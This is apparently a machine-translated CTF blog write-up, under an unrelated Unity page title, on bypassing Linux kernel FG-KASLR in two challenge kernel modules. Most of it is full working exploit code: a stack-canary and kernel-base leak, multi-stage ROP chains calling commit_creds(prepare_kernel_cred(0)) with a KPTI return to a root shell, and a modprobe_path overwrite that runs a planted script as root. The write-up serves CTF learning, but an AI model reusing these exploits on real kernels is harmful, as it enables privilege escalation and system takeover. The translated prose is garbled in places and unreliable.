Unity extended Editor menu: Provide a unified interface to allow the planning to regulate the values of related scripts in Prefab Steven

2023-01-23   ES  

Similar to ASLR, the kernel -based address address is randomized.

Generally bypassing ideas:

  • By leaking the kernel address, the kernel base address is calculated through offset. (Kernel_base = Leak_addr -Offset)
  • Then obtain the target function address (such as Commit_creds, etc.) according to the offset of the kernel base and other functions

description from the official [Patch V3 00/10] Function Granular Kaslr
在这里插入图片描述
Simply put, the kernel address space of a finer granularity is randomized, and the kernel code is discharged according to the fine particle size of the function level. Therefore, when the kernel address is leaked, the kernel base address and other functional address cannot be obtained through the leak_addr -offset method.

Is there any way to bypass it?

This is a stack overflowing the FG_KASLR protection.

1.Run.sh Start the file and open SMEP, SMAP KASLR and KPTI

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"

2. Packaging file system

gunzip initramfs.cpio.gz
cpio -idmv < ./initramfs.cpio

3. View the startup script and close the Kallsyms and DMESG views. Determine the problem module to hackme.ko

#!/bin/sh

/bin/busybox --install -s

stty raw -echo

chown -R 0:0 /

mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev  && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp  && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

insmod /hackme.ko
chmod 666 /dev/hackme

4. Modify/ECT/Inittab to change 1000 to 0 and set it to root permissions for easy debugging

::sysinit:/etc/init.d/rcS
::once:-sh -c 'cat /etc/motd; setuidgid 0 sh; poweroff'

1.READ function
hackme_read function, Copy_TO_USER () has leaked, which can leak kernel_base and cannry
在这里插入图片描述
Discover Stack through simple programs. Through the value of startup_64, Canary is buf [2], kernel_base can be obtained through BUF [38] -0xa157.

void leak_read(int size)
{
    
    read(fd,buf,size*8);
    for(int i=0;i<size;i++){
    
        printf("[%d]:%llx\n",i,buf[i]);
    }
}

/ # cat /proc/kallsyms | grep startup_64
ffffffff9c200000 T startup_64
ffffffff9c200030 T secondary_startup_64
ffffffff9c2001f0 T __startup_64
/ # ./exp
[0]:ffff9d97c7601020
[1]:fe0
[2]:bf51a80663aa8100
[3]:ffff9d97c6ca9e10
[4]:ffffaea4c01bfe68
[5]:4
[6]:ffff9d97c6ca9e00
[7]:ffffaea4c01bfef0
[8]:ffff9d97c6ca9e00
[9]:ffffaea4c01bfe80
[10]:ffffffff9c8fcc87
[11]:ffffffff9c8fcc87
[12]:ffff9d97c6ca9e00
[13]:0
[14]:4a83c0
[15]:ffffaea4c01bfea0
[16]:bf51a80663aa8100
[17]:190
[18]:0
[19]:ffffaea4c01bfed8
[20]:ffffffff9c8ca04f
[21]:ffff9d97c6ca9e00
[22]:ffff9d97c6ca9e00
[23]:4a83c0
[24]:190
[25]:0
[26]:ffffaea4c01bff20
[27]:ffffffff9c723bf7
[28]:ffffffff9c930611
[29]:0
[30]:bf51a80663aa8100
[31]:ffffaea4c01bff58
[32]:0
[33]:0
[34]:0
[35]:ffffaea4c01bff30
[36]:ffffffff9c74c13a
[37]:ffffaea4c01bff48
[38]:ffffffff9c20a157
[39]:0
[40]:0

2.write function
hackme_write function, existing stack overflow to construct ROP
在这里插入图片描述
3. There is no idea in the case of FG_KASLR

  1. Leak Kernel_base and Canary through the read function
  2. Calculated through Officet, Commit_creds and Prepare_kernel_cred, Swapgs_restore_Regs_RETURN_TO_USERMODE (), and some necessary gadgetttites
  3. Use the HackMe_write function to Rop. Commit_creds (prepare_kernel_cred (0))
  4. Finally, use the kpti gadget in the swapgs_restore_regs_and_return_to_userMode and return to the get_shell of the user space
  5. Successful rights

4.fg_kaslr influence
Since FG_KASLR exists, Commit_creds and Prepare_kernel_cred are not fixed values. The following is the two -time COMMIT_CREDS, which obviously can see that it is not fixed offset.

The first startup 
 / /# cat /proc/kallsyms | grep commit_credsFFFFFFFFB291bb40 T COMMIT_CREDS 
 Second startup 
 / /# cat /proc/kallsyms | grep commit_creds
ffffffffb0b4fa60 T commit_creds

At the time of comparison, which symbols will not be changed, which symbols can be obtained without the effect of FG_KASLR protection

1. View the address of the _text symbol can know Kernel_base 
 / /# cat /proc/kallsyms | grep _text
ffffffffb0200000 T _text

Because there is no better way to transmit files between the Host and Guest of QEMU, the method of the output remake is used to get the content of Kallsyms

$./run.sh > kallsyms1.txt   
# In another command line, check whether the file size cannot be changed, and the unchanged means that the QEMU has been started
cat /proc/kallsyms # The command line will not be displayed, all of which have been regained and output
# In another command line, check whether the file size cannot be changed, and the unchanged indicates that the content has been output

View the symbol that has not changed through the script and save it in the file

f1 = open("kallsyms1.txt")
line = f1.readline()
dict1 = {
    }
kernel_base1=0xffffffff9c600000 # Kernel Base starting the first time
print("start read file kallsyms1\n")
while line :
    #['0000000000000000', 'A', '__per_cpu_start']
    sp = line.strip().split(" ")
    if int(sp[0],16) >= kernel_base1:
        dict1[sp[2]]=int(sp[0],16)-kernel_base1
    line = f1.readline()
f1.close()

f2 = open("kallsyms2.txt")
line = f2.readline()
dict2 = {
    }
kernel_base2=0xffffffff8c800000 # Kernel Base starting the second time
print("start read file kallsyms2\n")
while line :
    #['0000000000000000', 'A', '__per_cpu_start']
    sp = line.strip().split(" ")
    if int(sp[0],16) >= kernel_base2:
        dict2[sp[2]]=int(sp[0],16)-kernel_base2
    line = f2.readline()

f2.close()

dict3 = {
    }
for k in dict1:
    if dict1[k] == dict2[k]:
        dict3[k] = dict1[k]

print("store no fg_kaslr\n")
f3 = open("find_no_fgkaslr.txt",'w+')
for k in dict3:
    s = "%016x : %s\n"%(dict3[k],k)
    f3.write(s)
f3.close()

View files are not affected by FGKASLR (there are more than 9W symbols, there are more than 5W after comparison)

  1. _text (kernel_base+0) ~ __x86_retpoline_r15 (kernel_base+0x400dd6) _text segment
  2. kpti bypasses gadget swapgs_restore_regs_and_return_to_usermode+0x16 (kernel_base+0x200f10)
  3. __start_rodata (kernel_base+0xc00000) ~ msr_save_dmi_table (kernel_bnase+0xcf69c0) _Rodata paragraph
  4. kernel symbol table KSYMTAB (kernel_base+0xf85198)

    The offset of the

function can be calculated through KSYMTAB, and commit_creds = __ksymtab_commit_creds+value_offset

struct kernel_symbol {
    
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

Because you can’t find the gadget of MOV RDI, RAX; XXX, you can save the returned value in RAX and return to the user space before processing.

  1. Through the read function, Leak Kernel_base and Cannary
  2. Calculate __ksymtab_commit_creds, __ ksymtab_prepare_kernel_cred () and gadgets address
  3. Construct Rop, store KSYMTAB’s value_offset to RAX, and then use Kpti Gadget to return to the user space to calculate the real function address. Through the two ROP, the address of Commit_creds and Prepare_kernel_cred functions
  4. Gadget that is similar to MOV RDI, RAX. You can divide the rights into two steps. 1.ROP execute Prepare_kernel_cred (0). The execution results are saved in Rax, and Kpti_gadget returns to the user space to get RAX (CRED_STRUCT_VA). 2. Rop execute Commit_cred (CRED_STRUCT_VA), and finally use kpti_gadget to return the user space to execute system (‘/bin/sh’s);
//gcc exp.c -o exp --static -masm=intel
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int fd;
size_t buf[0x1000/8];
size_t kernel_base,cannary;
size_t kpti_gadget;
size_t ksymtab_prepare_kernel_cred;
size_t ksymtab_commit_creds;

size_t pop_rdi_ret ;
size_t pop_rax_ret ;
size_t mov_eax_rax10;

size_t commit_creds;
size_t prepare_kernel_cred;
size_t cred_struct_va;
size_t tmp_store;
void init_fd()
{
    
    fd = open("/dev/hackme",O_RDWR);
    if(fd < 0){
    
        printf("open faild!");
        exit(1);
    }
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
void get_shell()
{
    
    if(!getuid()){
    
        printf("[*]ROOT!!!\n")
        system("/bin/sh");
    }else{
    
        printf("not root\n");
    }
}
void leak_read(int size)
{
    
    read(fd,buf,size*8);
    kernel_base = buf[38]-0xa157;
    cannary = buf[2];
    kpti_gadget = kernel_base + 0x200f10+0x16;
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fc;
    ksymtab_commit_creds = kernel_base + 0xf87d90;
    pop_rdi_ret = kernel_base+0x6370;//0xffffffff81006370: pop rdi; ret;
    pop_rax_ret = kernel_base+0x4d11;//0xffffffff81004d11: pop rax; ret;
    mov_eax_rax10 = kernel_base+0x4aae;// 0xffffffff81004aad: mov rax, qword ptr [rax + 0x10]; pop rbp; ret;
    printf("[*]----leak info----\n");
    printf("[*]kernel_base: %p\n",kernel_base);
    printf("[*]cannary: %p\n",cannary);
    printf("[*]kpti_gadget: %p\n",kpti_gadget);
    printf("[*]ksymtab_prepare_kernel_cred: %p\n",ksymtab_prepare_kernel_cred);
    printf("[*]ksymtab_commit_creds: %p\n",ksymtab_commit_creds);
    printf("[*]pop_rdi_ret: %p\n",pop_rdi_ret);
    printf("[*]pop_rax_ret: %p\n",pop_rax_ret);
    printf("[*]mov_eax_rax10: %p\n",mov_eax_rax10);
    printf("[*]----leak info----\n");
}
void stage_1(void);
void stage_2(void);
void stage_3(void);
void stage_4(void);
void get_commit_creds(void);

//STAGE1:leak commit_creds
void stage_1(void)
{
    
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rax_ret;//ret
    payload[off++] = ksymtab_commit_creds - 0x10;//[rax+0x10]
    payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
    payload[off++] = 0;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_commit_creds;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}

void get_commit_creds(void)
{
    
    __asm__(
        "mov tmp_store, rax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp_store;
    printf("[*]commit_creds: %p\n", commit_creds);
    stage_2();
}
//STAGE2: leak prepare_kernel_cred
void get_prepare_kernel_cred();
void stage_2(void)
{
    
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rax_ret;//ret
    payload[off++] = ksymtab_prepare_kernel_cred - 0x10;//[rax+0x10]
    payload[off++] = mov_eax_rax10;//eax <- [ksymtab_prepare_kernel_cred]
    payload[off++] = 0;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}

void get_prepare_kernel_cred()
{
    
     __asm__(
        "mov tmp_store, rax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("[*]ksymtab_prepare_kernel_cred: %p\n", ksymtab_prepare_kernel_cred);
    stage_3();
}

//STAGE3 prepare_kernel_cred
void after_prepare_kernel_cred(void);
void stage_3(void)
{
    
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rdi_ret;//ret
    payload[off++] = 0;
    payload[off++] = prepare_kernel_cred;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)after_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}


void after_prepare_kernel_cred(void)
{
    
    __asm__(
        "mov tmp_store, rax;"
    );
    cred_struct_va = tmp_store;
    printf("[*]cred_struct_va: %p\n", cred_struct_va);
    stage_4();
}

//STAGE4: call commit_creds(cred_struct_va),open shell
void stage_4()
{
    
    size_t payload[50];
    int off = 16;
    payload[off++] = cannary;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = pop_rdi_ret;//ret
    payload[off++] = cred_struct_va;
    payload[off++] = commit_creds;
    payload[off++] = kpti_gadget;
    payload[off++] = 0;
    payload[off++] = 0;
    payload[off++] = (size_t)get_shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    size_t w = write(fd,payload,sizeof(payload));
    printf("[!] Should never be reached");
}
int main(){
    
    save_status();
    init_fd();
    leak_read(50);
    stage_1();
}

This is another Kernel Pwn that opens FG_KASLR protection. Here is the second method that can bypass protection. So let’s briefly analyze the topic

vulnerability point Cast_a_spell function

When the input size is greater than 0x100, the stack overflow can cover Global_buffer and SIZE. With Read and WRITE
在这里插入图片描述
liproll_read, when the size is too large, there is a stack overflow of Rop
在这里插入图片描述

Through any reading, find **/sbin/modprobe ** string. (The obtained string address is not necessarily referenced in the function, you can check vmlinux through IDA Pro to get offset

size_t find_modprobe()
{
    
    size_t off=0;
    size_t addr = kernel_base;
    char name[] = "/sbin/modprobe";
    size_t sbin_modeprobe_addr=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
    
        magic_read(addr,0x100);
        sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
        if(sbin_modeprobe_addr){
    
            sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
            printf("[*]sbin_modeprobe_addr: %p\n",sbin_modeprobe_addr+addr);
            //return sbin_modeprobe_addr;
        }
    }
    return sbin_modeprobe_addr;
}

The following is the string found through the script
在这里插入图片描述
Find the function address through the string, here is a commit_creds as an example

u_int8_t code_commit_creds[] = {
    0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
    
    size_t off=0;
    size_t addr = kernel_base;
    size_t commit_creds=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
    
        magic_read(addr,0x100);
        commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
        if(commit_creds){
    
            commit_creds = commit_creds - (size_t)&data;
            printf("[*]commit_creds: %p\n",commit_creds+addr);
            return commit_creds;
        }
    }
    
}

Final EXP

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
int fd;
size_t kernel_base;
size_t data[0x1000]={
    0};

void cast(int fd,size_t data,size_t size)
{
    
    size_t arg[2] ={
    data,size}; 
    ioctl(fd,0xD3C7F01,arg);
}

void reset(int fd,int index)
{
    
    ioctl(fd,0xD3C7F02,index);
}

void create(int fd)
{
    
    ioctl(fd,0xD3C7F03);
}

void choose(int fd,int index)
{
    
    size_t arg[1] = {
    index};
    ioctl(fd,0xD3C7F04,arg);
}

void info()
{
    
    for(int i=0;i<0x200/8;i++)
        printf("[*]%d: %p\n",i,data[i]);
}

void magic_read(size_t addr,size_t size)
{
    
    choose(fd,0);
    size_t data1[0x100]={
    0};
    data1[0x100/8]=addr;
    data1[0x100/8 +1]=size;
    cast(fd,data1,0x110);
    read(fd,data,size);
}

void magic_write(size_t addr)
{
    
    choose(fd,0);
    data[0x100/8]=addr;
    cast(fd,data,0x108);
    memcpy(data,"/tmp/magic.sh\x00",14);
    cast(fd,data,0x10);
}
size_t find_modprobe()
{
    
    size_t off=0;
    size_t addr = kernel_base;
    char name[] = "/sbin/modprobe";
    size_t sbin_modeprobe_addr=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
    
        magic_read(addr,0x100);
        sbin_modeprobe_addr = memmem((char*)data,0x100,name,14);
        if(sbin_modeprobe_addr){
    
            sbin_modeprobe_addr = sbin_modeprobe_addr - (size_t)&data;
            printf("[*]sbin_modeprobe_addr: %p\n",sbin_modeprobe_addr+addr);
            //return sbin_modeprobe_addr;
        }
    }
    return sbin_modeprobe_addr;
}
u_int8_t code_commit_creds[] = {
    0x41, 0x54, 0x65, 0x4C, 0x8B, 0x24, 0x25, 0x00, 0x7D, 0x01, 0x00, 0x55, 0x53, 0x49, 0x8B, 0xAC, 0x24, 0x30, 0x06, 0x00, 0x00, 0x49, 0x39, 0xAC, 0x24, 0x38, 0x06, 0x00, 0x00, 0x0F, 0x85, 0xE2};
size_t find_commit_creds()
{
    
    size_t off=0;
    size_t addr = kernel_base;
    size_t commit_creds=0;
    for(;addr<0xffffffffffffefff;addr+=0x100){
    
        magic_read(addr,0x100);
        commit_creds = memmem((char*)data,0x100,code_commit_creds,32);
        if(commit_creds){
    
            commit_creds = commit_creds - (size_t)&data;
            printf("[*]commit_creds: %p\n",commit_creds+addr);
            return commit_creds;
        }
    }
    
}
void get_shell()
{
    
    if(!getuid()){
    
        printf("[*]ROOT!!!\n");
        system("/bin/sh");
    }else{
    
        printf("not root\n");
    }
}
int main()
{
    
    printf("start\n");
    signal(SIGSEGV, get_shell);
    fd = open("/dev/liproll", O_RDWR);
    if(fd <= 0){
    
        printf("open liproll error\n");
        exit(-1);
    }
    create(fd);
    choose(fd,0);
    read(fd,data,0x200);
    //info();
    kernel_base = data[52] - 0x20007c;
    printf("[*]kernel_base: %p\n",kernel_base);
    //find_commit_creds();
    //find_modprobe();
    //exit(-1);
    size_t modeprobe = kernel_base+0x1448460;
    magic_write(modeprobe);
    system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/magic.sh");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/123");
    system("chmod +x /tmp/magic.sh");
    system("chmod +x /tmp/123");
    system("/tmp/123");
    system("cat /tmp/flag");
    return 0;
}

Although the FG_KASLRr makes the method of calculating the kernel base address and functional address that originally shifted to the offset. However, because the _Stext segment is loaded by a direct mapping method during the kernel loading process, the content of this paragraph will not be affected by fg_kaslr. otherSymbols that are not affected by fg_kaslrcan be obtained by comparing the offset of the two symbols.

When there is any address reading and writing, you can passViolent search memoryThe method of the bytecode finds the desired function and string.

Reference
Hxp2020 kernel rop wp::https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
https://zhangyidong.top/2021/02/10/kernel_pwn(fg_kaslr)/

antctf official question solution: https://www.anquank.com/post/id/
FG_kaslr patch: https://lwn.net/Articles/824307/
kpti bypass: https://bbs.pediy.com/thread-258975.htm

source

Related Posts

linux development environment -SCL software set

Use PHP+QueryList to crawl the cat’s eye movie list information IT

Samba service configuration

From entry to the soil: procedures based on Python use the TCP protocol to implement communication functions

Unity extended Editor menu: Provide a unified interface to allow the planning to regulate the values of related scripts in Prefab Steven

Random Posts

Solution Introduction to mybatis-plus calls SelectByid and Selectlist.

About the Input box defaultValue in Antd-Desgin-Vue

QQ encryption algorithm talk (TEA plus decomposition algorithm) D The encryption algorithm of

Vue Sort the array obtained

Support vector machine (3) core function